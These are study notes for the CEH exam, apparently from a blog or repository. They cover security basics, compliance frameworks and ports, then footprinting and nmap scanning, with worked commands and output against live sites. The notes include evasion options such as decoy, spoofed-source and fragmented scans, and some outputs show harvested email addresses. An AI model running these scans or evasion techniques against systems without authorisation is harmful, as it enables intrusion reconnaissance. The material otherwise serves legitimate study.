The whole principle is to avoid Theft, Tampering and Disruption of the systems through CIA Triad (Confidentiality, Integrity and Availability).
Confidentiality Keeping systems and data from being accessed, seen, read to anyone who is not authorized to do so.
Integrity Protect the data from modification or deletion by unauthorized parties, and ensuring that when authorized people make changes that shouldn't have been made the damage can be undone.
Availability Systems, access channels, and authentication mechanisms must all be working properly for the information they provide and protect to be available when needed.
Note: In addition, other properties, such as authenticity, accountability, non-repudiation and reliability can also be involved. (ISO/IEC 27000:2009)
Auditing & Accountability Basically keep tracking of everthing, like, who's been logging in when are they loggin in whose access this data.
Non-Repudiation Non-repudiation is the assurance that someone cannot deny the validity of something. Non-repudiation is a legal concept that is widely used in information security and refers to a service, which provides proof of the origin of data and the integrity of the data.
There is an inter dependency between these three attributes. When security goes up, usability and functionality come down. Any organization should balance between these three qualities to arrive at a balanced information system.
- Black Hat - Hackers that seek to perform malicious activities.
- Gray Hat - Hackers that perform good or bad activities but do not have the permission of the organization they are hacking against.
- White Hat - Ethical hackers; They use their skills to improve security by exposing vulnerabilities before malicious hackers.
Script Kiddie / Skiddies - Unskilled individual who uses malicious scripts or programs, such as a web shell, developed by others to attack computer systems and networks and deface websites.
State-Sponsored Hacker - Hacker that is hired by a government or entity related.
Hacktivist - Someone who hacks for a cause; political agenda.
Suicide Hackers - Are hackers that are not afraid of going jail or facing any sort of punishment; hack to get the job done.
Cyberterrorist - Motivated by religious or political beliefs to create fear or disruption.
Network Threats
Host Threats
Application Threats
Path by which a hacker can gain access to a host in order to deliver a payload or malicious outcome
APT - Advanced Persistent Threats
Cloud computing / Cloud based technologies
Viruses, worms, and malware
Ransomware
Mobile Device threats
Botnets
Insider attacks
Phishing attacks
Web Application Threats
IoT Threats
Attacks targeting OS flaws or security issues inside such as guest accounts or default passwords.
- Vectors: Buffer overflows, Protocol Implementations, software defects, patch levels, authentication schemes
Attacks on programming code and software logic.
- Vectors: Buffer overflows, Bugs, XSS, DoS, SQL Injection, MitM
Attack takes advantage of systems that are misconfigured due to improper configuration or default configuration.
- Examples: Improper permissions of SQL users; Access-list permit all
Act of exploiting holes in unpatched or poorly-configured software.
- Examples: Software defect in version 1.0; DEfect in example CGI scripts; Default passwords
⚠️ For the exam, EC-Council brings his own methodology and that's all you need for the exam; you can check another pentesting methodologies here if you are interested; In case you are studying to become a professional pentester besides certification content, I recommend the OSSTMM (Open Source Security Testing Methodology Manual).
Gathering evidence about targets; There are two types of Recon:
Obtaining more in-depth information about targets.
Attacks are leveled in order to gain access to a system.
Items put in place to ensure future access.
Steps taken to conceal success and intrusion; Not be noticed.
Refers to the assurance of the Integrity, Availability, confidentiality, and authenticity of information and information systems during usage, processing, storage and transmission of information.
Combination of policies, processes, procedures, standards, and guidelines to establish the required level of information security.
⚠️ IA focus on risk assessment, mitigation side of things; ⚠️ InfoSec focus on actually implementing security measures to safeguard systems.
Set of requirements, process, principles, and models that determines the structure and behavior of an organization's information systems.
Preventive control: Deters the actor from performing the threat.
Detective control: Recognizes an actor's threat.
Deterrent control: Deters the actor from attempting the threat.
Recovery: Mitigates the impact of a manifested threat.
Compensating control: Provides alternative fixes to any of the above functions.
Most of security controls are preventive phase controls.
⚠️ Defense in Depth: Multiple layers of security controls; Provides redundancy in the event of a control failure. (e.g.: image below)
Description | Examples |
---|---|
Physical | Guards, lights, cameras, fire extinguishers, flood protection |
Administrative | Training awareness, policies, procedures and guidelines to infosec |
Technical | IDS/IPS, Firewall, Encryption, Smart cards, Access control lists |
Description | Examples |
---|---|
Preventative | authentication, alarm bells |
Detective | audits, backups |
Corrective | restore operations |
Risk can be defined as a probability of the occurrence of a threat or an event that may damage, or cause loss or have other negative impact either from internal or external liabilities.
A risk matrix is used during risk assessment to define the level of risk by considering the category of probability or likelihood against the category of consequence severity.
Is the identification, evaluation, and prioritization of risks followed by coordinated and economical application of resources to minimize, monitor, and control the probability or impact of unfortunate events or to maximize the realization of opportunities.
Is a risk assessment approach for analyzing the security of an application by capturing, organizing and analyzing all the information that affects the security of an application.
Access Control Policy
Remote Access Policy
Firewall Management Policy
Network Connection Policy
Password Policy
User Account Policy
Information Protection Policy
Special Access Policy
Email Security Policy
Acceptable Use Policy
Promiscuous Policy - This policy usually has no restrictions on usage of system resources.
Permissive Policy - This policy begins wide open and only know dangerous services/attacks or behaviors are blocked. This type of policy has to be updated regularly to stay effective.
Prudent Policy - This policy provides maximum security while allowing known but necessary dangers. This type of policy will block all services and only safe/necessary services are enabled individually. Everything is logged.
Paranoid Policy - This policy forbids everything. No Internet connection or severely restricted Internet usage is allowed.
An incident is an event that could lead to loss of, or disruption to, an organization's operations, services or functions.
Incident management is a term describing the activities of an organization to identify, analyze, and correct hazards to prevent a future re-occurrence.
Collects data points from network, including log files, traffic captures, SNMP messages, and so on, from every host on the network. SIEM can collect all this data into one centralized location and correlate it for analysis to look for security and performance issues, as well negative trends all in real time.
Aggregation: Collecting data from disparate sources and organizing the data into a single format. Any device within a SIEM system that collects data is called collector or an aggregator.
Correlation: Is the logic that looks at data from disparate sources and can make determinations about events taking place on your network. (Could be in-band or out-of-band, depending on the placement of the NIDS/NIPS).
Normalization: Will actually create multiple tables / organize in such a way that the data can become more efficient and allows our analysis and reports tools to work better.
WORM - Write Once Read Many: The concept being is that log files are precious, and a lot of times you might want to look at them in an archival way, so that we can use optical media like WORM drives to store them.
Identification, Authentication, Authorization, and Accounting work together to manage assets securely.
The information on credentials identifies the user.
“Prove you are the legitimate User". – Should always be done with Multifactor Authentication!
🛑 Multi-factor authentication *generally uses two of this examples (e.g. - Something you Know(1) and Something you Have(2)*, never on same category
What are you allowed to access – We use Access Control models, what and how we implement depends on the organization and what our security goals are.
Trace an Action to a Subjects Identity:
⚠️ Access is defined by ACL, Access Control List. ⚠️ Implicity deny prevents access unless specifically permitted.
Data Loss Prevention (DLP) is the practice of detecting and preventing data breaches, exfiltration, or unwanted destruction of sensitive data. Organizations use DLP to protect and secure their data and comply with regulations.
Data backup plays a crucial role in maintaining business continuity by helping org. recover from IT disasters, security breaches, application failures, human error, etc.
All regulatory compliance such as COBIT, SSAE, SOCII, PCI-DSS, HIPPA, SOX, FINRA, FISMA, GDPR, etc. require business to maintain data backups of critical data for specified duration.
This topic will be covered with details in Chapter 14 - Pentesting.
A penetration test, colloquially known as a pen test, pentest or ethical hacking, is an authorized simulated cyberattack on a computer system, performed to evaluate the security of the system.
⚠️ Not to be confused with a vulnerability assessment.
"Open Source Security Testing Methodology Manual" maintained by ISECOM , defines three types of compliance.
Legislative - Deals with government regulations (Such as SOX and HIPAA).
Contractual - Deals with industry / group requirement (Such as PCI DSS).
Standards based - Deals with practices that must be followed by members of a given group/organization (Such as ITIL ,ISO and OSSTMM itself).
OSSTM Controls
OSSTM Class B - Process Controls
"Payment Card Industry Data Security Standard" Standard for organizations handling Credit Cards, ATM cards and other POS cards.
This International Standard has been prepared to provide requirements for establishing, implementing, maintaining and continually improving an information security management system.
Based on BS799 but focuses on security objectives and provides security controls based on industry best practice.
"Health Insurance Portability and Accountability Act" a law that set's privacy standards to protect patient medical records and health information shared between doctors, hospitals and insurance providers.
"Sarbanes-Oxley Act" Law that requires publicly traded companies to submit to independent audits and to properly disclose financial information.
"The Digital Millennium Copyright Act" is a 1998 United States copyright law that implements two 1996 treaties of the World Intellectual Property Organization. It criminalizes production and dissemination of technology, devices, or services intended to circumvent measures that control access to copyrighted works.
"Federal Information Security Modernization Ac Of 2002" A law updated in 2004 to codify the authority of the Department of Homeland Security with regard to implementation of information security policies. (For GOV. agencies)
Catalogs security and privacy controls for federal information systems, created to help implementation of FISMA.
"Federal Information Technology Acquisition Reform Act" A 2013 bill that was intended to change the framework that determines how the US GOV purchases technology.
"Control Object for Information and Related Technology" IT Governance framework and toolset, created by ISACA and ITGI
"U.S Gramm-Leach-Bliley Act" Law that protects the confidentiality and integrity of personal information that is collected by financial institutions.
"Computer Security Incident Response Team" CSIRT provided a single point of contact when reporting computer security incidents
"Information Technology Infrastructure Library" - An operational framework developed in the '80s that standardizes IT management procedures
The OSI Model we just looked at is just a reference/logical model. It was designed to describe the functions of the communication system by dividing the communication procedure into smaller and simpler components.
The TCP/IP model is a concise version of the OSI model. It contains four layers, unlike seven layers in the OSI model.
Layer | Device Type | OSI Layer | TCP/IP model | TCP/IP New (actual) | Protocols | PDU |
---|---|---|---|---|---|---|
7 | Gateway | Application | Application | Application | HTTP, FTP, POP, SMTP, DNS, RIP | Data |
6 | - | Presentation | Application | Application | HTTP, FTP, POP, SMTP, DNS, RIP, MIME | Data |
5 | - | Session | Application | Application | HTTP, FTP, POP, SMTP, DNS, RIP, SCP | Data |
4 | - | Transport | Transport | Transport | TCP/UDP | Segments |
3 | Router | Network | Internet | Network | IP, ARP, ICMP, IGMP | Packets |
2 | Switch/bridge | Data Link | Link | Data Link | Ethernet, Token Ring | Frames |
1 | Hubs/Repeater | Physical | Link | Physical | Ethernet, Token Ring | Bits |
⚠️ Sequence numbers increase on new communication. Example is computers A and B. A would increment B's sequence number. A would never increment it's own sequence.
Flag | Name | Function |
---|---|---|
SYN | Synchronize | Set during initial communication. Negotiating of parameters and sequence numbers |
ACK | Acknowledgment | Set as an acknowledgement to the SYN flag. Always set after initial SYN |
RST | Reset | Forces the termination of a connection (in both directions) |
FIN | Finish | Ordered close to communications |
PSH | Push | Forces the delivery of data without concern for buffering |
URG | Urgent | Data inside is being sent out of band. Example is cancelling a message |
Internet Assigned Numbers Authority (IANA) - maintains Service Name and Transport Protocol Port Number Registry which lists all port number reservations
Ranges
Well-known ports - 0 - 1023
Registered ports - 1024 - 49,151
Dynamic ports - 49,152 - 65,535
Port Number | Protocol | Transport Protocol |
---|---|---|
20/21 | FTP | TCP |
22 | SSH | TCP |
23 | Telnet | TCP |
25 | SMTP | TCP |
53 | DNS | TCP/UDP |
67 | DHCP | UDP |
69 | TFTP | UDP |
80 | HTTP | TCP |
110 | POP3 | TCP |
135 | RPC | TCP |
137-139 | NetBIOS | TCP/UDP |
143 | IMAP | TCP |
161/162 | SNMP | UDP |
389 | LDAP | TCP/UDP |
443 | HTTPS | TCP |
445 | SMB | TCP |
514 | SYSLOG | UDP |
A service is said to be listening for a port when it has that specific port open
Once a service has made a connection, the port is in an established state
Netstat
command:
⚡︎ This chapter have practical labs
Footprinting is a part of reconnaissance process which is used for gathering possible information about a target computer system or network.
When used in the computer security lexicon, "Footprinting" generally refers to one of the pre-attack phases; tasks performed before doing the actual attack. Some of the tools used for Footprinting are Sam Spade, nslookup, traceroute, Nmap and neotrace.
Know Security Posture – The data gathered will help us to get an overview of the security posture of the company such as details about the presence of a firewall, security configurations of applications etc.
Reduce Attack Area – Can identify a specific range of systems and concentrate on particular targets only. This will greatly reduce the number of systems we are focussing on.
Identify vulnerabilities – we can build an information database containing the vulnerabilities, threats, loopholes available in the system of the target organization.
Draw Network map – helps to draw a network map of the networks in the target organization covering topology, trusted routers, presence of server and other information.
Footprinting could be both passive and active. Reviewing a company’s website is an example of passive footprinting, whereas attempting to gain access to sensitive information through social engineering is an example of active information gathering.
During this phase, a hacker can collect the following information (only high-level information):
Can be:
Competitive Intelligence - information gathered by businesses about competitors
Alexa.com - resource for statistics about websites
Network
Organization
Hosts
filetype:
- looks for file typesindex of
- directory listingsinfo:
- contains Google's information about the pageintitle:
- string in titleinurl:
- string in urllink:
- finds linked pagesrelated:
- finds similar pagessite:
- finds pages specific to that site
wget -mk -w 10 http://hackthissite.org/
Ports
Zone transfer replicates all records
Name resolvers answer requests
Authoritative Servers hold all records for a namespace
DNS Record Types
Name | Description | Purpose |
---|---|---|
SOA | Start of Authority | Indicates the authoritative NS for a namespace |
PTR | Pointer | Maps an IP to a hostname |
NS | Nameserver | Lists the nameservers for a namespace |
MX | Mail Exchange | Lists email servers |
CNAME | Canonical Name | Maps a name to an A reccord |
A | Address | Maps an hostname to an IP address |
DNS Poisoning - changes cache on a machine to redirect requests to a malicious server
DNSSEC - helps prevent DNS poisoning by encrypting records
SOA Record Fields
IP Address Management
Whois - obtains registration information for the domain from command line or web interface.
whois google.com
)Nslookup - Performs DNS queries; (nslookup is pre-installed on Kali Linux)
nslookup www.hackthissite.org
Server: 192.168.63.2
Address: 192.168.63.2#53
Non-authoritative answer:
Name: www.hackthissite.orgwww.hackthissite.org
Address: 137.74.187.103
Name: www.hackthissite.orgwww.hackthissite.org
Address: 137.74.187.102
Name: www.hackthissite.orgwww.hackthissite.org
Address: 137.74.187.100
Name: www.hackthissite.orgwww.hackthissite.org
Address: 137.74.187.101
Name: www.hackthissite.orgwww.hackthissite.org
Address: 137.74.187.104
First two lines shows my current DNS server; The IP addresses returned are 'A record', meaning is the IPvA address of the domain; Bottom line NsLookup queries the specified DNS server and retrieves the requested records that are associated with the domain.
The following types of DNS records are especially useful to use on Nslookup:
Type | Description |
---|---|
A | the IPv4 address of the domain |
AAAA | the domain’s IPv6 address |
CNAME | the canonical name — allowing one domain name to map on to another. This allows more than one website to refer to a single web server. |
MX | the server that handles email for the domain. |
NS | one or more authoritative name server records for the domain. |
TXT | a record containing information for use outside the DNS server. The content takes the form name=value. This information is used for many things including authentication schemes such as SPF and DKIM. |
Nslookup - Interactive mode zone transfer (Interactive mode allows the user to query name servers for information about various hosts and domains or to print a list of hosts in a domain).
nslookup
server <IP Address>
set type = <DNS type>
<target domain>
nslookup
> set type=AAAA
> www.hackthissite.orgwww.hackthissite.org
Server: 192.168.63.2
Address: 192.168.63.2#53
Non-authoritative answer:
Name: www.hackthissite.orgwww.hackthissite.org
Address: 2001:41d0:8:ccd8:137:74:187:103
Name: www.hackthissite.orgwww.hackthissite.org
Address: 2001:41d0:8:ccd8:137:74:187:102
Name: www.hackthissite.orgwww.hackthissite.org
Address: 2001:41d0:8:ccd8:137:74:187:101
Name: www.hackthissite.orgwww.hackthissite.org
Address: 2001:41d0:8:ccd8:137:74:187:100
Name: www.hackthissite.orgwww.hackthissite.org
Address: 2001:41d0:8:ccd8:137:74:187:104
Dig - unix-based command like nslookup
dig <target>
dig www.hackthissite.orgwww.hackthissite.org
; <<>> DiG 9.16.2-Debian <<>> www.hackthissite.orgwww.hackthissite.org
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 51391
;; flags: qr rd ra; QUERY: 1, ANSWER: 5, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; MBZ: 0x0005, udp: 4096
;; QUESTION SECTION:
;www.hackthissite.org. IN A
;; ANSWER SECTION:
www.hackthissite.orgwww.hackthissite.org. 5 IN A 137.74.187.104
www.hackthissite.orgwww.hackthissite.org. 5 IN A 137.74.187.101
www.hackthissite.orgwww.hackthissite.org. 5 IN A 137.74.187.100
www.hackthissite.orgwww.hackthissite.org. 5 IN A 137.74.187.102
www.hackthissite.orgwww.hackthissite.org. 5 IN A 137.74.187.103
;; Query time: 11 msec
;; SERVER: 192.168.63.2#53(192.168.63.2)
;; WHEN: Tue Aug 11 15:05:01 EDT 2020
;; MSG SIZE rcvd: 129
-t MX
dig <target> -t MX
axfr
IP address range can be obtained from regional registrar (e.g: ARIN for America, RIPE for Europe, etc)
Use traceroute
to find intermediary servers
Usage example:
traceroute -I nsa.gov
traceroute <target>
-I
traceroute -I nsa.gov
traceroute to nsa.gov (104.83.73.99), 30 hops max, 60 byte packets
1 192.168.63.2 (192.168.63.2) 0.194 ms 0.163 ms 0.150 ms
2 * * *
3 * * *
4 * * *
5 * * *
6 * * *
7 * * *
8 * * *
9 * * *
10 * * *
11 a104-83-73-99.deploy.static.akamaitechnologies.com (104.83.73.99) 42.742 ms 42.666 ms 25.176 ms
⚠️ Windows command -
tracert
⚠️ Linux Command -traceroute
⚡︎ OSRFramework has a practical lab
Uses open source intelligence to get information about target. (Username checking, DNS lookups, information leaks research, deep web search, regular expressions extraction, and many others).
Obtain information from the website such as pages, etc.
⚡︎ Recon-ng has a practical lab
Recon-ng is a web-based open-source reconnaissance tool used to extract information from a target organization and its personnel.
Provides a powerful environment in which open source web-based reconnaissance can be automated conducted, quickly and thoroughly.
⚡︎ Metasploit has a practical lab
The Metasploit Framework is a tool that provides information about security vulnerabilities and aids in penetration testing and IDS signature development; This is a huge framework that provide Recon tools as well.
⚡︎ theHarvester has a practical lab
theHarvester is a OSINT tool; Useful for gathering information like:
Usage example:
theHarvester -d www.hackthissite.org -n -b google
theHarvester
-d <url>
-n
-b google
theHarvester -d www.hackthissite.orgwww.hackthissite.org -n -b google
table results already exists
*
* _ _ _ *
* | |_| |__ ___ /\ /\__ _ _ ____ _____ ___| |_ ___ _ __ *
* | __| _ \ / _ \ / /_/ / _` | '__\ \ / / _ \/ __| __/ _ \ '__| *
* | |_| | | | __/ / __ / (_| | | \ V / __/\__ \ || __/ | *
* \__|_| |_|\___| \/ /_/ \__,_|_| \_/ \___||___/\__\___|_| *
* *
* theHarvester 3.1.0 *
* Coded by Christian Martorella *
* Edge-Security Research *
* cmartorella@edge-security.comcmartorella@edge-security.com *
* *
*
[*] Target: www.hackthissite.orgwww.hackthissite.org
[*] Searching Google.
Searching 0 results.
Searching 100 results.
Searching 200 results.
Searching 300 results.
Searching 400 results.
Searching 500 results.
[*] No IPs found.
[*] Emails found: 2
----------------------
ab790c1315@www.hackthissite.orgab790c1315@www.hackthissite.org
staff@hackthissite.orgstaff@hackthissite.org
[*] Hosts found: 7
---------------------
0.loadbalancer.www.hackthissite.org:
22www.hackthissite.org:
2522www.hackthissite.org:
253dwww.hackthissite.org:
www.hackthissite.org:137.74.187.104www.hackthissite.org:137.74.187.104, 137.74.187.100, 137.74.187.101, 137.74.187.103, 137.74.187.102
x22www.hackthissite.org:
[*] Starting active queries.
137.74.187.100
[*] Performing reverse lookup in 137.74.187.0/24
module 'theHarvester.discovery.dnssearch' has no attribute 'DnsReverse'
Sublist3r enumerates subdomains using many search engines such as Google, Yahoo, Bing, Baidu and Ask. Sublist3r also enumerates subdomains using Netcraft, Virustotal, ThreatCrowd, DNSdumpster and ReverseDNS
Usage example:
python3 sublist3r.py -d hackthissite.org
-d <url>
python3 sublist3r.py -d hackthissite.org
____ _ _ _ _ _____
/ ___| _ _| |__ | (_)___| |_|___ / _ __
\___ \| | | | '_ \| | / __| __| |_ \| '__|
___) | |_| | |_) | | \__ \ |_ ___) | |
|____/ \__,_|_.__/|_|_|___/\__|____/|_|
# Coded By Ahmed Aboul-Ela - @aboul3la
[-] Enumerating subdomains now for hackthissite.org
[-] Searching now in Baidu..
[-] Searching now in Yahoo..
[-] Searching now in Google..
[-] Searching now in Bing..
[-] Searching now in Ask..
[-] Searching now in Netcraft..
[-] Searching now in DNSdumpster..
[-] Searching now in Virustotal..
[-] Searching now in ThreatCrowd..
[-] Searching now in SSL Certificates..
[-] Searching now in PassiveDNS..
[-] Total Unique Subdomains Found: 41
www.hackthissite.orgwww.hackthissite.org
admin.hackthissite.org
api.hackthissite.org
ctf.hackthissite.org
vm-005.outbound.firewall.hackthissite.org
vm-050.outbound.firewall.hackthissite.org
vm-099.outbound.firewall.hackthissite.org
vm-150.outbound.firewall.hackthissite.org
vm-200.outbound.firewall.hackthissite.org
forum.hackthissite.org
forums.hackthissite.org
git.hackthissite.org
irc.hackthissite.org
(...)
DIRB is a Web Content Scanner. It looks for existing (and/or hidden) Web Objects. It basically works by launching a dictionary based attack/brute force attack against a web server and analyzing the response.
Usage example:
dirb https://www.hackthissite.org/ /usr/share/wordlists/dirb/small.txt
dib <url>
/path/to/wordlist
dirb https://www.hackthissite.org/https://www.hackthissite.org/ /usr/share/wordlists/dirb/small.txt
-----------------
DIRB v2.22
By The Dark Raver
-----------------
URL_BASE: https://www.hackthissite.org/https://www.hackthissite.org/
WORDLIST_FILES: /usr/share/wordlists/dirb/small.txt
-----------------
GENERATED WORDS: 959
---- Scanning URL: https://www.hackthissite.org/https://www.hackthissite.org/ ----
+ https://www.hackthissite.org/apihttps://www.hackthissite.org/api (CODE:200|SIZE:10)
+ https://www.hackthissite.org/bloghttps://www.hackthissite.org/blog (CODE:200|SIZE:20981)
+ https://www.hackthissite.org/cgi-bin/https://www.hackthissite.org/cgi-bin/ (CODE:403|SIZE:199)
⚡︎ Maltego has practical labs
Maltego is a powerful OSINT tool, you can extract a broad type of information through the network, technologies and personnel(email, phone number, twitter).
It’s a open source Social Engineering Framework (SCRIPT) that helps generate phishing attacks and fake emails. and it’s includes phishing pages, fake email, fake email with file attachment and other stuff that helps you in Social Engineering Attack.
Netcraft is a website analyzing server, with the help of this website we find basic and important information on the website like:
Shodan Unlike traditional search engines such as Google, use Web crawlers to traverse your entire site, but directly into the channel behind the Internet, various types of port equipment audits, and never stops looking for the Internet and all associated servers, camera, printers, routers, and so on.
Some have also described it as a search engine of service banners, which are metadata that the server sends back to the client.
Shodan works well with basic, single-term searches. Here are the basic search filters you can use:
Alternative for Shodan.
⚡︎ This chapter has practical labs for Scanning Networks (1) and Enumeration (2)
Network Scanning - Discovering systems on the network (can be hosts, switches, servers, routers, firewalls and so on) and looking at what ports are open as well as applications/services and their respective versions that may be running.
In general network scanning have three main objectives:
Server at 192.168.60.30
The server 192.168.60.30 have TCP port 23 (Telnet) running
The Telnet service is cleartext and have many vulnerabilities published
Connectionless Communication - UDP packets are sent without creating a connection. Examples are TFTP, DNS (lookups only) and DHCP
Connection-Oriented Communication - TCP packets require a connection due to the size of the data being transmitted and to ensure deliverability
The easiest way to scan for live systems is through ICMP.
It has it's shortcomings and is sometimes blocked on hosts that are actually live.
Message Types and Returns
Payload of an ICMP message can be anything; RFC never set what it was supposed to be. Allows for covert channels
Ping sweep - easiest method to identify multiple hosts on subnet. You can automate ping sweep with scripting language like Bash Script (Linux) or PowerShell (Windows) or use softwares like Advanced IP Scanner, Angry IP Scanner, Nmap, etc.
ICMP Echo scanning - sending an ICMP Echo Request to the network IP address
An ICMP return of type 3 with a code of 13 indicates a poorly configured firewall
Ping scanning tools
nmap -sn 192.168.1.0/24
-sn
flag (ping scan). This will perform a ping sweep on 256 IP
addresses on this subnet in seconds, showing which hosts are up.hping -1 10.0.0.x --rand-dest -I eth0
-1
--> ICMP mode--rand-dest
--> random destionation address mode-I <interface>
--> network interface nameNmap virtually always does a ping sweep with scans unless you turn it off
Important ICMP codes
ICMP Message Type | Description and Codes |
---|---|
0: Echo Reply | Answer to a Type 8 Echo Request |
3: Destination Unreachable | Error message followed by these codes: 0 - Destination network unreachable 1 - Destination host unreachable 6 - Network unknown 7 - Host unknown 9 - Network administratively prohibited 10 - Host administratively prohibited 13 - Communication administratively prohibited |
4: Source Quench | A congestion control message |
5: Redirect | Sent when there are two or more gateways available for the sender to use. Followed by these codes: 0 - Redirect datagram for the network 1 - Redirect datagram for the host |
8: Echo Request | A ping message, requesting an echo reply |
11: Time Exceeded | Packet took too long to be routed (code 0 is TTL expired) |
⚠️ This can be easily achieved by using nmap only.
nmap
!Flag | Name | Function |
---|---|---|
SYN | Synchronize | Set during initial communication. Negotiating of parameters and sequence numbers |
ACK | Acknowledgment | Set as an acknowledgement to the SYN flag. Always set after initial SYN |
RST | Reset | Forces the termination of a connection (in both directions) |
FIN | Finish | Ordered close to communications |
PSH | Push | Forces the delivery of data without concern for buffering |
URG | Urgent | Data inside is being sent out of band. Example is cancelling a message |
⚠️ The CEH exam will definitely cover Nmap questions, about switches and how to perform a specific type of scan.
⚡︎ It is highly recommended to try out and explore the nmap in your own virtual environment; I made a couple practical labs[1] [2] [3] to help you understand the functionality of nmap.
Nmap ("Network Mapper") is a free and open source (license) utility for network discovery and security auditing. Many systems and network administrators also find it useful for tasks such as network inventory, managing service upgrade schedules, and monitoring host or service uptime. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics. [+]
Half-open scan or SYN scan - only SYN packets sent. Responses same as full.
nmap -sS <target IP>
TCP connect or full open scan. The first two steps (SYN and SYN/ACK) are exactly the same as with a SYN scan. Then, instead of aborting the half-open connection with a RST packet, krad acknowledges the SYN/ACK with its own ACK packet, completing the connection.
nmap -sT <target IP>
nmap -sA <target IP>
(ACK scan)nmap -sW <target IP>
(Window scan)⚠️ Uses FIN, URG or PSH flag.
Open gives no response. Closed gives RST/ACK
nmap -sN <target IP>
(Null scan)
nmap -sF <target IP>
(FIN scan)
Xmas Scan - Sets the FIN, PSH, and URG flags, lighting the packet up like a Christmas tree.
nmap -sX <target IP>
⚠️ The key advantage to these scan types (NULL, FIN or Xmas scan) is that they can sneak through certain non-stateful firewalls and packet filtering routers.
uses a third party to check if a port is open
nmap -sI <zombie host> <target IP>
nmap -Pn -D <spoofed IP> <target>
nmap -e <network interface> -S <IP source> <target>
nmap -e eth0 -S 10.0.0.140 10.0.0.165
nmap --spoof-mac <MAC|Vendor> <target>
nmap --spoof-mac Cis 10.0.0.140
⚠️ Decoys will send spoofed IP address along with your IP address.
nmap -D RND:<number> <target>
nmap -D RND:10 192.168.62.4
nmap -f <target>
nmap -mtu 8 <target>
nmap <target> -T0
nmap <target> -T1
nmap <target> -T2
nmap <target> -T3
nmap <target> -T4
nmap <target> -T5
Most popular services runs over the TCP, but there are many common services that also uses UDP: DNS (53), SMTP (25), DHCP (67), NTP (123), NetBIOS-ssn (137), etc.
nmap -sU <target>
You also can specify which UDP port:
nmap -sU -p U:53, 123 <target>
Also you can fire up both TCP and UDP scan with port specification:
nmap -sU -sS -p U:53,123 T:80,443 <target>
Switch | Description |
---|---|
-sA |
ACK scan |
-sF |
FIN scan |
-sI |
IDLE scan |
-sL |
DNS scan (list scan) |
-sN |
NULL scan |
-sO |
Protocol scan (tests which IP protocols respond) |
-sP or -sn |
Ping scan |
-sR |
RPC scan |
-sS |
SYN scan |
-sT |
TCP connect scan |
-sW |
Window scan |
-sX |
XMAS scan |
-A |
OS detection, version detection, script scanning and traceroute |
-sV |
Determine only service/version info |
-PI |
ICMP ping |
-Pn |
No ping |
-Po |
No ping |
-PS |
SYN ping |
-PT |
TCP ping |
-oN |
Normal output |
-oX |
XML output |
-n |
Never do DNS resolution/Always resolve |
-f |
--mtu |
-D |
IP address Decoy: <decoy1,decoy2[,ME],...>: Cloak a scan with decoys |
-T0 through -T2 |
Serial scans. T0 is slowest |
-T3 through -T5 |
Parallel scans. T3 is slowest |
-F |
Fast mode - Scan fewer ports than the default scan |
Notes:
-Pn
to disable ping.--disable-arp-ping
-iL hosts-example.txt
Switch |
Example |
Description |
---|---|---|
-p |
nmap 192.168.1.1 -p 21 |
Port scan for port x |
-p |
nmap 192.168.1.1 -p 21-100 |
Port range |
-p |
nmap 192.168.1.1 -p U:53,T:21-25,80 |
Port scan multiple TCP and UDP ports |
-p- |
nmap 192.168.1.1 -p- |
Port scan all ports |
-p |
nmap 192.168.1.1 -p http,https |
Port scan from service name |
-F |
nmap 192.168.1.1 -F |
Fast port scan (100 ports) |
--top-ports |
nmap 192.168.1.1 --top-ports 2000 |
Port scan the top x ports |
-p-65535 |
nmap 192.168.1.1 -p-65535 |
Leaving off initial port in range |
-p0- |
nmap 192.168.1.1 -p0- |
Leaving off end port in range makes the scan go through to port 65535 |
Switch |
Example |
Description |
---|---|---|
-sV |
nmap 192.168.1.1 -sV |
Attempts to determine the version of the service running on port |
-sV --version-intensity |
nmap 192.168.1.1 -sV --version-intensity 8 |
Intensity level 0 to 9. Higher number increases possibility of correctness |
-sV --version-light |
nmap 192.168.1.1 -sV --version-light |
Enable light mode. Lower possibility of correctness. Faster |
-sV --version-all |
nmap 192.168.1.1 -sV --version-all |
Enable intensity level 9. Higher possibility of correctness. Slower |
-A |
nmap 192.168.1.1 -A |
Enables OS detection, version detection, script scanning, and traceroute |
Switch |
Example |
Description |
---|---|---|
-O |
nmap 192.168.1.1 -O |
Remote OS detection using TCP/IP |
-O --osscan-limit |
nmap 192.168.1.1 -O --osscan-limit |
If at least one open and one closed |
-O --osscan-guess |
nmap 192.168.1.1 -O --osscan-guess |
Makes Nmap guess more aggressively |
-O --max-os-tries |
nmap 192.168.1.1 -O --max-os-tries 1 |
Set the maximum number x of OS |
-A |
nmap 192.168.1.1 -A |
Enables OS detection, version detection, script scanning, and traceroute |
Switch |
Example input |
Description |
---|---|---|
--host-timeout |
1s; 4m; 2h |
Give up on target after this long |
--min-rtt-timeout/max-rtt-timeout/initial-rtt-timeout |
1s; 4m; 2h |
Specifies probe round trip time |
--min-hostgroup/max-hostgroup |
50; 1024 |
Parallel host scan group |
--min-parallelism/max-parallelism |
10; 1 |
Probe parallelization |
--scan-delay/--max-scan-delay |
20ms; 2s; 4m; 5h |
Adjust delay between probes |
--max-retries |
3 |
Specify the maximum number |
--min-rate |
100 |
Send packets no slower than |
--max-rate |
100 |
Send packets no faster than |
NSE stands for Nmap Scripting Engine, and it’s basically a digital library of Nmap scripts that helps to enhance the default Nmap features and report the results in a traditional Nmap output.
One of the best things about NSE is its ability to let users write and share their own scripts, so you’re not limited to relying on the Nmap default NSE scripts. [+]
Switch |
Example |
Description |
---|---|---|
-sC |
nmap 192.168.1.1 -sC |
Scan with default NSE scripts. Considered useful for discovery and safe |
--script default |
nmap 192.168.1.1 --script default |
Scan with default NSE scripts. Considered useful for discovery and safe |
--script |
nmap 192.168.1.1 --script=banner |
Scan with a single script. Example banner |
--script |
nmap 192.168.1.1 --script=http* |
Scan with a wildcard. Example http |
--script |
nmap 192.168.1.1 --script=http,banner |
Scan with two scripts. Example http and banner |
--script |
nmap 192.168.1.1 --script "not intrusive" |
Scan default, but remove intrusive scripts |
--script-args |
nmap --script snmp-sysdescr --script-args snmpcommunity=admin 192.168.1.1 |
NSE script with arguments |
Command |
Description |
---|---|
nmap -Pn --script=http-sitemap-generator scanme.nmap.org |
http site map generator |
